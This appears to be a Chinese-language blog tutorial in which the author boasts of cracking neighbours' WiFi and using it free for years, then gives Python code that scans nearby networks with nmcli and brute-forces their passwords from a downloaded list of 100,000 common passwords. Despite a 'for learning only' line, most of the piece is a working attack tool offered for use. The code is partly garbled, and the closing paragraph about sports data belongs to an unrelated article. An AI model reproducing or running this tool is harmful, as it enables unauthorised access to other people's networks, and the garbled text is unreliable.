我用60行python代码破解了WiFi密码 |
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我用60行Python代码，破解了WiFi密码，然后买了个路由器进行一下**桥接**放大信号，就这样，已经免费用了很多年了.... 今天，就来给大家介绍一下实现过程，**本文仅供学习**。 1. WiFi列表首先，我们需要获取附近的WiFi列表。 首先导入需要的模块： class="highlight"> python">import argparse import os from ssid import start import urllib.request import sys import time下面，就来写一个函数来获取附近的WiFi列表，函数命名为display_targets： class="highlight"> def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+ spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): print(str(i+1)+". "+networks[i]+spacer+security_type[i])这里，我们会用到ssid模块，用来获取附近的WiFi列表，存入到参数networks。 # ssid.py import subprocess def start(code): r = subprocess.run(["nmcli", "-f", "SSID","dev", "wifi"], capture_output=True,text=True).stdout grep = r.split("\n") s = subprocess.run(["nmcli","-f", "SECURITY", "dev", "wifi"], capture_output=True, text=True).stdout grep_s = s.split("\n") networks = [k.strip() for k in grep if (k.strip() != "SSID") and (k.strip() != "--") and (k.strip() != "")] net_type = [k.strip() for k in grep_s if (k.strip() != "SECURITY") and (k.strip() != "")] ssid = [] security = [] for i in range(len(networks)): if networks[i] not in ssid: ssid.append(networks[i]) security.append(net_type[i]) if (code == 0): print(ssid) print(security) else: return [ssid, security] if __name__ == "__main__": start(0)## **2. 选择WiFi** 获取WiFi列表之后，下一步要做的就是选择我们想要连接的WiFi， 这里很简单，就是一些通用的Python功能。 ## **3. 暴力破解** 目前已经获取并且选择了想要连接的WiFi，那么如何获取到它的密码呢？ 这里要用到一种比较常见的方式：**暴力破解**。 这里，要用到Github上一个项目，它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。 def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: xprint(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC) print(bcolors.FAIL+"** RESULTS **:All passwords failed :("+bcolors.ENDC)核心功能3个函数就完成了，只用了**60行**Python代码！ 下面就把它们串联在一起： def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.") brute_force(target, passwords, args)执行函数，就会在命令行下显示附近的WiFi列表，选择之后就开始逐个尝试密码。 不同的颜色代表不同不同的结果： - 红色：测试失败 - 绿色：破解成功 - 紫色：测试中 现在，是不是发现这个看上去很复杂的事情变得简单许多？ 结语运动中充满了各种不同维度的数据，上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。 希望，能够对你有所启示，能够发掘更有价值、有趣的信息，在学习和乐趣中得到最佳的实践。 |
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